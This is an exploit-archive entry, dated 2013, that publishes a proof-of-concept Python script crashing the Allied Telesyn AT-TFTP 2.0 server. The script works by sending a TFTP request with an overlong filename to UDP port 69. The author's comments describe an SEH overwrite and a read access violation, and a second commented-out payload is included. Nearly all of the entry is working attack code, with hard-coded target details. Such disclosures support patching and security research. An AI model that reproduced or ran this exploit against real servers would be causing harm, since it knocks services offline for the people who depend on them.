发布 2013-04-12 漏洞条目

Allied Telesyn TFTP (AT-TFTP) Server/Daemon 2.0 – Stack Buffer Overflow (Denial of Service) (PoC)

Exploit Source

# Exploit Title: AT-TFTP 2.0 long filename stack based buffer overflow - DOS

# Date: 12.04.2013

# Exploit Author: xis_one@STM Solutions

# Vendor Homepage: http://www.alliedtelesis.com/

# Software Link: http://alliedtelesis.custhelp.com/cgi-bin/alliedtelesis.cfg/php/enduser/std_adp.php?p_faqid=1081&p_created=981539150&p_topview=1

# Version: 2.0

# Tested on: Windows XP SP3

# From 1.9 Remote Exec BOF disovered in 2006 by liuqx@nipc.org.cn to 2.0 Remote DOS BOF 2013 - no lesson learned.

# Two variants:

# 1. SEH overwrite but no exception handler trigger (cookie on stack?)

# 2. Read access violation (non-exploitable?)

# Still we can crash the server remotely.

#!/usr/bin/python

import socket

import sys

host = '192.168.1.32'

port = 69

nseh="\xCC\xCC\xCC\xCC"

#seh handler overwritten at 261 byte of shellcode but to exception triggered to use it.

seh="\x18\x0B\x27" # Breakpoint in no SafeSEH space in Windows XP SP3

payload="\xCC"*257 + nseh + seh + "\x00" + "3137" + "\x00"

#payload to get access violation:

#payload=("\x00\x01\x25\x32\x35\x25"

#"\x35\x63\x2e\x2e\x25\x32\x35\x25\x35\x63\x2e\x2e\x25\x32\x35\x25"

#"\x35\x63\x2e\x2e\x25\x32\x35\x25\x35\x63\x2e\x2e\x25\x32\x35\x35"

#"\x63\x65\x74\x63\x25\x32\x35\x35\x63\x68\x6f\x73\x74\x73\x00\x6e"

#"\x00")

buffer="\x00\x01"+ payload + "\x06" + "netascii" + "\x00"

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

s.sendto(buffer, (host, port))

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